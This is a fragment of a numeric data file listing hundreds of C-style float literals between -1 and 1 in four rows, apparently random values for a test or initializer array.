-0.435489784247438f, 0.0589001507244313f, 0.829134536020168f, 0.614063504046069f, -0.0498036542372153f, -0.803122689381969f, -0.495207870035615f, -0.126836582496751f, -0.0715271574335641f, -0.600815700055194f, 0.434993547671690f, -0.891665893518364f, 0.515259516482513f, 0.475325173737397f, -0.716548558025405f, -0.881097306400870f, 0.738462585443836f, -0.244486212870867f, -0.750368936394211f, 0.303496411011494f, -0.602701428305057f, -0.400346153635480f, -0.300002744969481f, -0.518552440201900f, 0.437964598712580f, -0.816689813412280f, -0.814392666138757f, -0.888568091915377f, 0.449416911306476f, -0.231889259488176f, 0.589775175288682f, 0.817224890217553f, 0.518646001325967f, -0.406046689874425f, -0.822100925750380f, 0.0528571826460145f, 0.502410576690672f, -0.795964394123106f, 0.0587614583641718f, -0.960750994569408f, 0.0366871534513058f, 0.723018804498087f, 0.0607565140068052f, 0.337380735516841f, 0.810682513202583f, -0.636743814403438f, 0.287171363373943f, -0.651998050401509f, -0.913606366413836f, 0.642186273694795f, -0.197674788034638f, -0.261253290776174f, 0.696450222503413f, -0.178859131737947f, -0.388167582041093f, -0.0593965887764258f, -0.638517356081890f, 0.804955770174156f, 0.220726627737384f, 0.263712659676167f, -0.214285245576410f, -0.267640297291737f, -0.268009369634837f, -0.957726158424482f, 0.708674977585603f, 0.336764494287156f, -0.985742981232916f, -0.883053422617300f, 0.560301189759340f, -0.692967747323003f, 0.977419052658484f, 0.0749830817523358f, 0.916618822945019f, 0.941660769630849f, 0.454145712080114f, 0.176036352526593f, 0.103229925297037f, 0.936507745325933f, -0.870159095287666f, -0.106465234217744f, 0.684178938709319f, 0.669775326656340f, -0.620857222834950f, 0.939074959093680f, -0.592224920792423f, 0.620706594809134f, 0.0456831422421473f, 0.738727999152789f, -0.751090911501446f, 0.683669216540363f, 0.153825621938168f, -0.255671723273688f, -0.773772764499189f, -0.667753952059522f, 0.887641972124558f, -0.664358118222428f, 0.512196622998674f, -0.0234362604874272f, 0.942878420215240f, -0.406617487191566f, -0.140379594627198f, -0.0587253931185765f, 0.419570878799757f, 0.533674656399007f, 0.108777047479414f, -0.695880604462579f, 0.481525582104998f, 0.511165135231064f, 0.136105196996658f, -0.481918536916982f, 0.757546893769363f, 0.957648176032083f, -0.908743619686586f, -0.395640537583668f, 0.0493439519763970f, 0.293569612893396f, 0.387420368421925f, 0.0928482742403196f, 0.407302666835821f, -0.787979245337637f, -0.968269218296593f, -0.409517247978962f, 0.775076200793689f, -0.217738166217447f, -0.370002483875998f, -0.570975789421316f, 0.844070553036478f, 0.668620483679341f, 0.00139813137293987f, -0.0912495442122028f, -0.0375370940595317f, 0.723007849224616f, 0.369999774115317f, 0.862240371150479f, 0.749525689790910f, 0.742992309993137f, -0.495813719545874f, -0.101947508108870f, -0.152536889610560f, 0.0598123624723883f, -0.436496899502871f, 0.520026918467263f, 0.241005798945400f, 0.970456690492966f, -0.376417224463442f, 0.614223236672359f, 0.336733945081746f, 0.376602027190701f, 0.00373987228923456f, -0.415425448787442f, 0.330560415319813f, -0.277250467297048f, 0.861008806111330f, -0.00655914035278493f, 0.810375656135324f, -0.0113631690466840f, -0.191699616402287f, -0.808952204107388f, 0.813180054552450f, 0.472985418265257f, 0.180147510998781f, -0.262580568975063f, 0.211152909221457f, -0.882514639604489f, -0.575589191561861f, 0.106927561961233f, 0.964591320892138f, 0.738192954342001f, 0.687649298588472f, -0.229142519883570f, -0.354434619656716f, -0.420522788056562f, 0.684638470896597f, -0.608080686160634f, 0.172668231197353f, 0.571295073068563f, -0.202258974457565f, 0.183035733721930f, -0.425589835248751f, -0.181955831301366f, 0.798193178080558f, -0.719799491928433f, -0.376418218727565f, 0.100370714244854f, -0.674685331738723f, -0.528950922374114f, 0.480443520097694f, 0.432497368954013f, 0.887439714903326f, 0.598241701759478f, -0.250064970303242f, -0.743111010477448f, 0.936189907099845f, -0.867383557331633f, 0.852536175309851f, -0.426378707286007f, 0.793838638663137f, 0.856262917294594f, 0.734157059815547f, 0.00452009494051664f, -0.884258713402709f, -0.0835595438259760f, -0.735457210599502f, -0.710727075357488f, 0.858050351034768f, -0.626070522205317f, -0.848201957131499f, 0.0180933910837406f, -0.0350884878366737f, -0.893836321618480f, -0.0682788306189803f, -0.539993219329871f, -0.557660404374917f, 0.268969847256868f, 0.505363999910409f, -0.0464757944714727f, -0.529689906951922,
-0.138445378586710f, 0.992531054118938f, 0.974585450054910f, 0.940349645687053f, 0.648085319100986f, -0.410736404028701f, 0.804131759246012f, -0.774897101314247f, 0.178246382655493f, -0.361699623232501f, -0.836093509684016f, 0.806309487627613f, -0.758182371322663f, 0.718410035716663f, -0.213136487421868f, -0.0563465521625497f, 0.0411192849612654f, -0.532497330327019f, -0.0419839515250475f, 0.769432068229678f, 0.253556234192255f, -0.745131216530268f, -0.890639235422577f, -0.140643637034330f, 0.318127074868768f, -0.497415632768561f, -0.383508820416842f, -0.468783454456628f, -0.289531078129000f, -0.0831555730758713f, 0.0107128404847427f, -0.567754537918270f, 0.926366772604370f, -0.600154724486768f, -0.0920759547805206f, 0.889582307602381f, -0.0710437157605615f, -0.182724716112986f, 0.228135065644420f, 0.851015495602628f, 0.653035806598961f, -0.986676404958677f, -0.871714951288816f, -0.824734086356281f, -0.490239304888267f, 0.244318295619814f, -0.923794688606381f, 0.670566388343457f, 0.849438492633058f, -0.225318912425116f, 0.461075616917687f, 0.656436404012820f, -0.416403369651597f, 0.205630417444150f, -0.163509095777762f, -0.0670299490212758f, -0.315561491397908f, -0.0952855008191476f, -0.377993693497066f, 0.860172853824826f, -0.669622978211317f, 0.595058880455053f, -0.425661849490015f, -0.0405359106780283f, 0.129968697438974f, -0.156244199842099f, 0.996996665434629f, -0.888570357356090f, -0.925646614993414f, -0.753998082238076f, 0.714491335460749f, -0.307849905639463f, 0.536274323586448f, -0.462944722411129f, 0.622202376598447f, -0.215582012734053f, -0.115115003363232f, 0.128168110175570f, -0.556263623663708f, 0.921813264386344f, -0.288173574121268f, -0.175054002159610f, 0.0621862747516269f, -0.468862899314091f, 0.976184545317535f, 0.468469061953779f, 0.679394669665911f, -0.0651943232114096f, 0.872740953203360f, -0.917720162541254f, 0.271535917769933f, 0.265441861283112f, 0.542190484993772f, -0.0208550501604048f, 0.983272473294640f, -0.522164666401537f, 0.833823680455458f, 0.414337644113416f, 0.588576354535126f, 0.318369292694380f, 0.870442561030567f, -0.422722224743553f, -0.200185003922166f, -0.770185495487048f, -0.878134057034045f, -0.712873198675798f, 0.647706512601268f, 0.593648188899773f, 0.126171748161942f, -0.189622212946038f, 0.707877641788638f, 0.790070498218410f, 0.698576567863428f, 0.594748885238005f, 0.567439045931572f, -0.591839707769224f, -0.632709967090349f, 0.415471238430617f, 0.115403276784208f, -0.375797954748234f, 0.123611001678020f, -0.864109581464288f, 0.115346512920739f, -0.515581940111704f, 0.880606114362175f, 0.356011740142007f, -0.318112820131587f, 0.765766689783476f, -0.226772670084743f, 0.442067390135885f, 0.348547568069751f, 0.862154389627291f, -0.894863284060244f, 0.475714942110286f, 0.552377629980789f, -0.0838875341374268f, -0.227654706745770f, 0.0998522598030438f, 0.870812229993830f, -0.518250234958224f, -0.0635791579471283f, -0.284101882205902f, -0.454751668241269f, 0.720773434493943f, 0.0756117818245317f, -0.0572317848090118f, -0.692584830354208f, 0.776250173796276f, 0.514052484701885f, 0.00770839936587864f, 0.775668871262837f, 0.933055956393907f, 0.0501713700022097f, -0.922194089981246f, 0.266653852930886f, -0.408584553416038f, 0.797066793752635f, -0.785570848747099f, 0.931403610887599f, 0.660859952465710f, -0.630963871875185f, -0.673000673345695f, 0.518897255252506f, -0.342041914345720f, 0.405613809903414f, -0.373516504843492f, -0.208292396009356f, 0.0510871025610438f, 0.396765368381847f, 0.00537609874241829f, 0.935717099427788f, -0.564801066383885f, -0.907523685862547f, 0.670551481631625f, -0.457309616171932f, 0.364001526470449f, 0.140805524345232f, -0.349945327329409f, -0.0361532758624807f, -0.304268551311720f, 0.618482952755668f, -0.0120110524971313f, 0.106364353621731f, -0.427587198043230f, 0.464249033810121f, -0.808297048471569f, 0.675277128303038f, -0.0663762607268352f, -0.431951364170808f, 0.953951718476660f, -0.725934553905574f, -0.685163723789561f, 0.164132617720945f, 0.934798872032034f, -0.695343627424553f, -0.420317401094920f, -0.689247558220342f, -0.605894279765940f, -0.693832779320227f, 0.455037128281788f, 0.968645000038447f, -0.0839147410947130f, 0.603463489419899f, 0.776913738299999f, -0.491560292499776f, 0.692235227850848f, 0.0824017593921889f, 0.459024952691847f, -0.918050509352710f, -0.777463066447746f, -0.161045596440278f, 0.982603547894360f, 0.700884888820475f, 0.998304481713913f, -0.362488733430088f, 0.171493948866881f, 0.565871153533442f, -0.965620428705067f, -0.835532968802398f, 0.885598629033760f, 0.609604257914327f, 0.725300244775050f, 0.153524048564152f, -0.662541112390878f, 0.912145212201290f, 0.135610445338421f, -0.0813934125800109f, 0.242209063597546f, -0.264886126609115f, -0.335070345839122f, 0.823958964903978f, -0.313110855907701f, -0.354068037633970f, -0.0381190024996405f, 0.117794735211134f, -0.604442743379238f, 0.524930955656444f, -0.754959642694882f, -0.359151666678207f, -0.247910739722172f, 0.573570999369016f, 0.543167570010806f, -0.718553346110069f, 0.202415372555816f, -0.860091438569300f, -0.0125446132328610f, 0.509348782140749f, 0.349261188228469f, 0.424395913611831f, 0.0557092265870811f, 0.740276822496471f, 0.479158001215769f, -0.221873518706244f, -0.744883456979009f, 0.393114117430743f, -0.733203119089531f, -0.506531269498885f, -0.505532097672033f, -0.509440981371663f, 0.666118722468113f, 0.0164067375520756f, -0.530276655546078f, 0.786338654343788f, -0.985008085364936f, 0.479988836226036f, -0.233652481382475f, 0.838641098910395f, -0.407379719374768f, -0.314266358910263f, -0.938033692224531f, -0.627320971378707f, -0.229174127295511f, 0.642505983671691f, -0.387855473250297f, 0.360324209821339f, -0.900766206699468f, 0.176676285751262f, 0.833894117554548f, -0.0207873177403817f, -0.202625183820044f, 0.706644325019314f, -0.817922707040537f, -0.242742059004419f, 0.282109349674866f, 0.0164603911954744f, -0.504625902855950f, 0.0415496120997125f, -0.787777778295785f, 0.362588721999523f, -0.371357162843751f, -0.818375262182416f, 0.727779997467707f, -0.836502839702384f, 0.0423869176265037f, -0.283934686546853f, 0.665864224978728f, -0.0428162304637920f, 0.243534621880753f, -0.803789304599586f, 0.570866852088607f, 0.340615579467880f, -0.323456502239327f, 0.403242371952148f, -0.0679158901587793f, -0.866985651416456f, -0.439873628406335f, -0.246357367033863f, 0.436234859832243f, 0.560714706225535f, -0.632564381913014f, -0.316451076258298f, -0.977122780282003f, 0.0741405862954117f, -0.217862250253606f, 0.887093089232476f, -0.418281865182365f, -0.638553415535034f, -0.262631979211197f, -0.567499176465252f, 0.676178859605923f, 0.933551699581608f, -0.0139735129263516f, -0.610719575803582f, 0.565123751720690f, 0.230672823422021f, 0.323935439339366f, 0.635142215896104f, 0.981184609133698f, 0.883668802319366f, -0.281281673616891f, 0.583204242495555f, 0.150854689098149f, -0.775890223139644f, 0.419951701513177f, -0.565767744791652f, -0.855232478054420f, 0.472188579901153f, -0.501463211798228f, 0.727960518524943f, 0.977187851385321f, 0.908113737694915f, -0.570200931535418f, 0.716036980035073f, 0.147838037485588f, 0.218820342222622f, -0.0673193461152677f, 0.433612519652386f, 0.449601736390411f, 0.556458722303960f, 0.417345590820787f, -0.783345413347895f, 0.858903187230710f, 0.178354025272247f, -0.130619018471658f, 0.858282827806003f, 0.508916167873459f, 0.139535936201634f, 0.240400109521332f, -0.102942705407161f, 0.841682417072375f, -0.696350979494975f, -0.793644449061670f, -0.698273636720141f, -0.228676865074326f, -0.195917865828574f, -0.306483109792438f, -0.865320326812636f, 0.659185969805107f, -0.368847387975239f, 0.337343722359231f, 0.0723822170210744f, 0.907475280998826f, 0.515168301614856f, 0.0790167120323961f, -0.756697420780699f, 0.966477562469936f, -0.663190129982788f, 0.145761851826854f, 0.376079225193173f, 0.631883071958707f, -0.956568110802436f, -0.735990864315730f, -0.795999578321461f, 0.958459465243432f, 0.319180429028702f, -0.907664654881857f, 0.992381284978014f, -0.511208110440365f, -0.714797966909523f, -0.717021870210999f, 0.545775837604423f, -0.0443828768329362f, 0.333311879948434f, 0.617237628406207f, -0.0895192882305207f, 0.506491005527430f, -0.354205929841282f, 0.777993157224477f, -0.667532693120319f, -0.105006112097613f, -0.337191911902220f, -0.337964429160738f, 0.609014812897482f, -0.368922911475613f, 0.889184378947484f, -0.676392242654630f, 0.429716870038086f, 0.916751115281822f, -0.655611878274175f, 0.538928395264007f, 0.382674384886170f, 0.0580742902089004f, -0.0124611362991478f, -0.0240388340005702f, -0.726296501832402f, -0.805701334732693f, 0.945344279474230f, -0.668066000378724f, 0.761436128738929f, -0.314275650172792f, -0.394331510439346f, 0.262887592668013f, 0.155064800148016f, -0.561829218656134f, -0.491542446753775f, 0.922248338472926f, 0.574575887413700f, 0.631722295929094f, -0.368854197209698f, 0.984780657580794f, 0.845286034922662f, -0.965631634115590f, -0.435710392440405f, -0.616488688868478f, 0.885865616625930f, 0.425733070487506f, 0.776721663555227f, -0.0652930284860209f, -0.734431875923792f, 0.725517937762654f, -0.474146253075108f, 0.895357779508529f, -0.0725048758018345f, -0.360185856190223f, 0.559350280666427f, 0.363695103660096f, 0.152231254765544f, 0.698196273442671f, 0.0518001104801953f, -0.139037096279713f, 0.340637636595997f, 0.584243998596814f, -0.442304329829130f, -0.501574294329747f, 0.250155103662225f, 0.320493999001502f, -0.150217982700108f, -0.0381390799255577f, 0.734760815545772f, -0.574574233376749f, 0.593440338163725f, 0.408049858247104f, -0.0845023181203484f, -0.855507806920297f, -0.473198309372409f, 0.331033392104072f, 0.196445364460658f, -0.799745050834061f, -0.973517526224363f, 0.333748727500822f, -0.772356831553232f, -0.430793038424357f, 0.649852557262489f, 0.504357958431509f, 0.779588082810134f, 0.0111847677569461f, -0.995526851285634f, -0.676007517368195f, 0.216774012875664f, -0.618928775636485f, -0.418043155155598f, -0.532063904545563f, -0.566979013994587f, 0.246319907266774f, 0.868651379198082f, -0.0433430896891542f, 0.463004686009427f, -0.162112430964754f, 0.285379745117090f, 0.901512987149549f, -0.706916206313139f, 0.685678130935725f, -0.673017501666538f, 0.0616272859909088f, 0.147532779463338f, -0.0108539826652629f, 0.960841184863269f, -0.950190006701182f, 0.992171414792924f, 0.715577145884581,
0.975908103138584f, -0.769014520827696f, -0.463212420186382f, -0.0761813427220397f, -0.704830850508594f, -0.220579724380686f, 0.840893269946637f, -0.432181989863148f, -0.956790418498701f, 0.122344784859397f, -0.242133592220528f, 0.908514497715246f, 0.303653521236872f, 0.756500828196849f, -0.752207807361831f, 0.367894642791072f, -0.702474131286247f, 0.189226989057138f, 0.401804209353236f, 0.608493473010907f, -0.437378101171900f, -0.158801297891213f, -0.381027984311046f, -0.949403985394057f, 0.370189685252539f, -0.872655295458655f, -0.337934909993878f, -0.0619622888328213f, 0.352094440420005f, 0.128759637109350f, 0.432413186229881f, -0.497474226759161f, 0.552933107875735f, 0.332665936587804f, -0.559261497212156f, -0.886188834336549f, 0.0170548801295034f, 0.192729852728271f, -0.674432365770129f, -0.526014722983374f, 0.425009223123802f, -0.186164676538888f, 0.190362042383007f, -0.0930204201587825f, 0.794188212052413f, -0.243549629178106f, 0.118970185744958f, -0.216230226310237f, 0.412570247218594f, 0.659556685538155f, -0.150540425515543f, -0.850858266540316f, -0.843827815842486f, 0.629298164439457f, 0.944304062363374f, -0.117764731240517f, 0.558568737697335f, 0.731745392387362f, -0.00413812760139165f, -0.251933493011685f, -0.473346352965658f, 0.178783613032362f, 0.547769344759580f, -0.414330113592064f, -0.550251453379012f, -0.925253680779905f, 0.623832825809309f, -0.494251081521428f, 0.0643361026845244f, 0.727107898350051f, 0.814864886916156f, 0.0177325632172460f, 0.749324691554934f, -0.266301024849295f, 0.675202550635588f, -0.0748462128620644f, -0.747853513216831f, -0.222563643557406f, -0.608884446788701f, -0.0374135649675464f, 0.852579123003940f, -0.585927920129879f, 0.604065857569210f, 0.573072924781108f, 0.816831955879520f, 0.723975232584095f, 0.367887024581694f, 0.765292601085641f, 0.836490699448589f, 0.623434131440044f, 0.743568762340577f, 0.140474444458222f, -0.746327891490507f, 0.700496422194197f, 0.549693846244016f, 0.729372970291116f, 0.728185563682229f, -0.614909046853182f, -0.756209631211223f, -0.530222413502955f, -0.312453162783936f, -0.752364704008701f, -0.634475515424180f, -0.133239439768175f, 0.252790153178337f, 0.760626105409900f, -0.838262213452153f, -0.266093046689486f, 0.549339088324875f, -0.278178592347115f, 0.190458706141960f, 0.906814275056971f, -0.579827980376046f, -0.134191470195968f, 0.244720998349483f, 0.795502128014338f, 0.287019836683889f, -0.906277889518234f, -0.817071933038363f, 0.613378274793081f, 0.518208081766432f, -0.388902790616382f, -0.785778461147273f, 0.574976429920521f, -0.283168065839246f, -0.857322381041868f, 0.424932015236353f, 0.919756642423073f, 0.412896759578072f, -0.976511020897041f, 0.157825653359643f, -0.0606591903280758f, 0.508438714729350f, -0.513115001652116f, 0.881391940997543f, -0.129708782033534f, 0.382462819411800f, -0.538751535594113f, 0.816770663497783f, 0.869013288394013f, -0.728381721932439f, -0.956736333819522f, -0.839107107637575f, 0.394821058517234f, 0.721983518815999f, -0.0847231453556103f, 0.0206545030491683f, 0.414707730497861f, 0.246591855656934f, -0.546187573590839f, -0.578957978692654f, 0.162844799084821f, 0.493731081270802f, -0.765815587549615f, 0.151613093585910f, -0.112883397239635f, 0.879319928900002f, 0.295375250614654f, -0.505370201033860f, -0.635319167339584f, -0.309818465920078f, 0.768627024018538f, -0.544374452091825f, 0.758974060573473f, -0.106050973670013f, 0.508616501970226f, -0.207224226211215f, 0.616842248601645f, 0.688381226662374f, 0.643728558619948f, -0.906982649598668f, 0.526262112978799f, -0.666644270400075f, 0.314806313630502f, -0.292000096972562f, -0.358353880616007f, 0.156344541906829f, 0.637606941586786f, -0.199572501073669f, -0.669369278061572f, 0.237513395315133f, -0.576741807179552f, 0.0750117203638310f, -0.633877533594996f, 0.829285089669934f, 0.622345234313277f, -0.892617583855908f, -0.280449892200797f, 0.241147361581176f, -0.0784016295955696f, 0.414945819313502f, 0.287238318044040f, -0.691458270387106f, 0.597656137422422f, 0.549022082569726f, -0.590776624040652f, 0.666740423918019f, -0.743115212424850f, 0.164036350785269f, -0.229427480781113f, 0.283602991107853f, -0.533993445778340f, 0.185806116700093f, -0.317953364055307f, 0.140412503708198f, 0.280706883979940f, 0.0439806827213221f, 0.176471515460512f, -0.614144204292693f, 0.314194083857125f, 0.519572839644130f, -0.850547081260782f, -0.515460990713008f, 0.353087995032390f, -0.0241014119925820f, 0.269453276643829f, -0.608515317887958f, -0.777818225534647f, -0.834277444316067f, -0.842707175235771f, -0.929547602540323f, -0.884691870945475f, 0.710591809809692f, 0.143423776629673f, 0.797136471728128f, 0.233311155245426f, -0.923169961754164f, 0.627911916101674f, -0.338187201367212f, 0.211044396110784f, -0.443699655795038f, 0.256593551969761f, -0.406688684034041f, 0.364900889856600f, 0.900530571350288f, -0.160476177153537f, 0.0634217008071056f, 0.709241599309354f, -0.789562037599596f, 0.00891621061029158f, 0.801674768895422f, -0.704378031949125f, 0.430576706378041f, 0.796937507044124f, -0.193348850174576f, -0.493924902919358f, -0.935781577118986f, 0.468142331108629f, 0.00965840085728753f, 0.0834398764999438f, 0.599712941235232f, -0.735675950275295f, 0.200152501800787f, -0.751603779675650f, 0.0697488403240092f, 0.300634243862625f, -0.901969784333300f, -0.958816237033024f, -0.754976119377363f, 0.719702182489622f, -0.338038642556184f, -0.703280944186943f, -0.579148694005994f, 0.556115731092296f, -0.920710928208685f, -0.278178108839470f, -0.793795308512285f, 0.916547680808212f, 0.419467216101691f, 0.177932177026735f, 0.682833725334600f, -0.926849803428705f, 0.179045225389745f, -0.209414969718359f, -0.889551871881532f, 0.961659420127890f, -0.250341627298645f, 0.105606170554974f, -0.547860346689080f, 0.845704098204057f, 0.886892635683680f, 0.768134466622042f, -0.954777823503721f, -0.718106389777233f, -0.580779231998609f, -0.0241800476518665f, 0.815063484178525f, -0.351971452344303f, 0.770369263680192f, 0.520886146470712f, -0.236456125482696f, 0.0900173391919312f, -0.00610611501589697f, 0.0986788038317752f, 0.277083194173223f, 0.0877085076786761f, 0.695814138412262f, 0.281021332783082f, -0.701468161850407f, -0.785496560046616f, -0.805623403379156f, -0.0524204125046179f, 0.0836418099696601f, 0.467252832788807f, 0.148967572323544f, 0.314141193557124f, -0.722297309069329f, 0.147068590429361f, -0.868307069306109f, 0.118712645744921f, 0.737896544941878f, 0.897526485681248f, 0.842207508585120f, 0.817408479766998f, 0.522315328909182f, -0.409136979179218f, 0.580654760034574f, -0.384701243761730f, -0.769398544059918f, -0.791317178699730f, 0.357020281620118f, -0.235410423267782f, -0.326332500533018f, -0.416891876268284f, -0.863029987000052f, 0.505171215727166f, -0.728709553380428f, 0.554546891580919f, 0.737429989077498f, -0.355088598334119f, 0.911987317939763f, 0.525846127625130f, 0.851549830104189f, -0.772303673276796f, 0.0421942169353806f, -0.521836640530782f, 0.995279650924240f, -0.186831960875832f, 0.421233670121556f, -0.0891583750230474f, 0.661100169663965f, 0.393809652414978f, 0.346165179707090f, 0.384203760628548f, -0.329281932973211f, 0.446133401546675f, -0.748200766224366f, -0.0275154142375615f, 0.771701580845288f, -0.0177829993094090f, 0.406813206251131f, 0.606021648140155f, 0.218435152341115f, 0.236571855064013f, -0.513495776515847f, 0.729086381137554f, -0.137775825035815f, 0.0320966747364262f, -0.313487802206023f, 0.105472520924239f, 0.423606700821375f, -0.231301628369264f, 0.465218832919270f, 0.379671652150568f, -0.00497780485272159f, 0.509290230688327f, 0.467240127182068f, 0.353587964503845f, 0.390455232684039f, 0.721536288927627f, -0.838922323815237f, 0.827628029266859f, 0.768844149796201f, -0.813963144642386f, -0.797054297232628f, -0.933039367361175f, -0.0723957249866136f, -0.664824147893300f, 0.695914840901794f, -0.206071660300270f, 0.879389414398409f, 0.181872681691416f, -0.582831210733033f, 0.624249199449935f, 0.204959730900228f, 0.354831594370532f, 0.337152636438178f, 0.596132114241829f, -0.295619496794481f, -0.443402055665686f, 0.743995051028396f, 0.543706744165365f, 0.825846155044062f, -0.764982315603181f, -0.0355223730700034f, -0.682467026736627f, -0.914037445162109f, -0.222823484413727f, 0.825323277024566f, 0.0769459194171547f, 0.696453968928934f, 0.760786120466962f, -0.525470048583831f, 0.764981036001869f, 0.458525204937000f, -0.612703584870878f, 0.626016142683351f, 0.284799326870320f, -0.130410894642153f, -0.730659587111424f, 0.0251896513929686f, 0.744421417725379f, 0.481278905427271f, -0.718686189713675f, -0.972110566787501f, -0.178005803066219f, -0.761536801353512f, 0.675177569459847f, -0.613068600254845f, -0.854757540148688f, 0.641823580903407f, 0.112536000301536f, 0.201235170163357f, -0.332623522893231f, 0.602028236317460f, 0.487529253813741f, -0.936537443253385f, 0.932862477850079f, -0.0977461167435834f, -0.485449569929182f, -0.575807340541437f, -0.920527242558033f, -0.938208754460503f, 0.890054000488493f, -0.154888511872567f, -0.106629818916523f, 0.323343252623500f, 0.105328135407289f, -0.837197492121459f, 0.497769113944639f, -0.234127101891878f, 0.840922493788059f, -0.994297350473539f, 0.241966031396186f, -0.241143860453769f, -0.598953146106117f, 0.839112451637864f, -0.639567866338402f, -0.219908091959649f, -0.778137266578287f, -0.201424793310289f, -0.486105622640452f, 0.874947034932591f, -0.131437343585340f, -0.674427373037920f, -0.161007203320351f, 0.215285933912207f, -0.963047650748652f, -0.841020847986178f, 0.259702280444602f, -0.165325097679823f, 0.572379756389254f, -0.435802768396928f, -0.0776125194906274f, -0.0293182206559168f, -0.847945015803839f, -0.576891917046364f, 0.728544652294888f, 0.110676857648527f, 0.760459056611184f, 0.486936926897001f, 0.680603035572503f, 0.330358411271561f, 0.901153157113818f, -0.893323547516767f, 0.268679990552354f, 0.794615743189695f, 0.221637368947158f, -0.0207579360252996f, -0.585634995914835f, 0.587646126395593f, -0.317780705107399f, 0.790321547328449f, 0.251610679655279f, -0.0386445267248654f, 0.881542790650722f, -0.469258891944944f, -0.900544881246558f, -0.344978220866601f, -0.271404539202745f, 0.863631450621357f, 0.805892242474368f, -0.325004362330199f, -0.649692260224921f, 0.535815472185538f, 0.427767946389023f, 0.924517987543855f, 0.571059970962007f, 0.549923246060706f, -0.639468249016352,
0.307213071097954f, -0.885892976847170f, -0.526002656640427f, 0.733743042788359f, 0.186919211020217f, 0.322167483598106f, -0.933484010727969f, 0.307181642341518f, -0.391959805653480f, -0.892298105797306f, 0.100065710151584f, -0.932962740784651f, -0.643536993204857f, 0.200747180046148f, 0.310831344540979f, -0.923416823619512f, 0.440768799148345f, -0.666930667413366f, -0.485487251971431f, -0.0627811951952384f, -0.331082293469460f, 0.0335811939608148f, -0.653610782697787f, -0.320586426505716f, 0.559163070852115f, -0.497363452770543f, -0.329886484503569f, -0.146612217140156f, -0.0265272745798242f, -0.288663397675155f, -0.996138396801714f, 0.705746028666908f, 0.634215549629091f, 0.165248482682243f, -0.110791752682943f, -0.0583711657160508f, 0.704663932851230f, 0.105987046073574f, -0.674234600022039f, -0.852792911043127f, 0.779458558047699f, -0.506163961277651f, 0.661431789813829f, 0.362986600662932f, 0.677673397902417f, 0.909704544299484f, -0.678129611146149f, -0.700854916363125f, -0.954905799366644f, 0.819329178422143f, -0.278866438326573f, 0.240572863896085f, -0.597973444252616f, 0.520707363092687f, -0.891796539359942f, -0.0707113684027092f, 0.730270237241197f, -0.202809887987925f, 0.712903235793333f, 0.815918058519912f, -0.619284883130692f, 0.620432327799984f, 0.215462902206797f, 0.913706499476201f, -0.284266999538807f, 0.137669223817851f, -0.320599930994154f, -0.279885143029947f, 0.0759863610502050f, 0.362519848337183f, 0.0897184432777523f, 0.730407126330006f, -0.715664883515070f, -0.964294244830797f, 0.337668374417089f, 0.563780948124681f, 0.534272089774928f, 0.670003495251274f, 0.976582736706313f, -0.576021162432801f, 0.318863740329612f, 0.374838616807691f, 0.437628782275460f, 0.629331465907672f, 0.800673318445353f, -0.964950925853698f, -0.115288102568929f, 0.581179798077059f, 0.892103220665649f, -0.224009831257430f, -0.486848659265476f, 0.768601825625188f, -0.478996958061453f, 0.987216084861456f, -0.00828256241998737f, 0.443388113322642f, -0.209225960405120f, 0.784392408672073f, -0.821157008960409f, 0.169088259578466f, 0.188648958653604f, 0.796321723736402f, 0.804915614204973f, -0.947435972579018f, -0.320368366702004f, -0.0857043727442930f, -0.229914128505395f, -0.802013870592427f, 0.497444368231634f, 0.791040716463223f, 0.586369970276563f, 0.871236424247704f, 0.770091868124107f, -0.458396647683594f, 0.871149873224889f, 0.753895449519495f, 0.295832468734546f, 0.574616471536691f, 0.384408809311353f, -0.978021020306570f, 0.0397482936794495f, 0.628095200786834f, -0.968059492217325f, -0.404306711220928f, 0.659301030460980f, -0.345766174675525f, -0.0517956907600681f, -0.640289082986305f, 0.965202733073502f, 0.909703156044274f, -0.744545066259015f, -0.676836498528477f, 0.0507393165493961f, 0.394673166210436f, 0.250366706754377f, -0.287411651947684f, -0.521760552601739f, 0.214487178617345f, -0.922260536787078f, -0.970217444063294f, -0.632705652784150f, -0.720016326822300f, -0.506393579710801f, 0.774172771450182f, 0.891546338793249f, 0.559706491124446f, -0.513481979527671f, 0.735727350850420f, -0.207760672132971f, 0.956672164225499f, -0.516696999265124f, -0.846015525317730f, -0.199370940530009f, 0.927580907007946f, 0.669786891276299f, -0.208316500739886f, -0.349932032863852f, 0.382722440637189f, -0.455635180187178f, -0.573852668753046f, 0.237990995216907f, -0.00210628303929439f, 0.846035951941252f, 0.921932267818374f, 0.141873820779935f, 0.871317167610738f, -0.632607355185838f, -0.565801401210940f, -0.959881482283947f, -0.732559764685905f, -0.655277252471118f, 0.136770193226314f, 0.206392768880907f, 0.0946932052352707f, -0.147722827344946f, 0.142504821799194f, -0.891443939735724f, -0.660161817562772f, -0.918683225740157f, 0.524851053279394f, -0.841532325411647f, -0.662931925252737f, 0.450018807591706f, 0.157794014139767f, -0.562525486647545f, 0.604051451992330f, 0.859220943805127f, 0.943321402026900f, 0.511188518123118f, -0.332990520726740f, 0.904709059147998f, -0.336911302156504f, -0.0329301811082998f, 0.307263624236174f, -0.640655394434152f, 0.791676792853669f, 0.450137270831791f, 0.746000232170803f, -0.915436267533878f, 0.976514418439799f, 0.828073391112522f, 0.990695018409237f, 0.419713963781614f, -0.286897378037841f, 0.111527193084439f, -0.956913449095442f, 0.263769440437253f, 0.534739246489713f, -0.918314908283506f, 0.680501951418845f, -0.0258330390798596f, -0.696521999550769f, 0.274590593565720f, -0.821334538131451f, 0.104139627465949f, -0.790104923997319f, 0.399265830301725f, 0.118854169469537f, 0.309552488812324f, -0.961100729890863f, -0.665645274594184f, -0.125767140532335f, 0.377154316156289f, -0.971986633153292f, -0.148225730575294f, -0.801072242848910f, 0.735673216754228f, 0.247753694178141f, 0.759093842520115f, -0.529946694334253f, 0.594235069164038f, -0.801015868726278f, 0.141962211231124f, 0.135473683510959f, -0.0431660672944612f, -0.437176231417910f, 0.467008031415084f, 0.324675317141816f, 0.122578305547357f, -0.0351479470228342f, -0.437236315511244f, -0.822621846670407f, 0.989461679354308f, -0.242059902390237f, 0.800837521050356f, -0.387832478851607f, 0.316362161826139f, 0.602440060427024f, 0.890992007298149f, 0.319686042477150f, 0.930326885903916f, -0.170779817104763f, -0.437602177375177f, 0.835764105962134f, 0.522922752459604f, 0.295156847627349f, -0.857646277751538f, -0.451421990712551f, 0.752856133268497f, -0.826193868550830f, -0.906961130052697f, 0.118621494342013f, -0.627099634988204f, 0.163256363060383f, -0.719362770410877f, -0.576563943780491f, -0.369939711177846f, -0.294180430088591f, 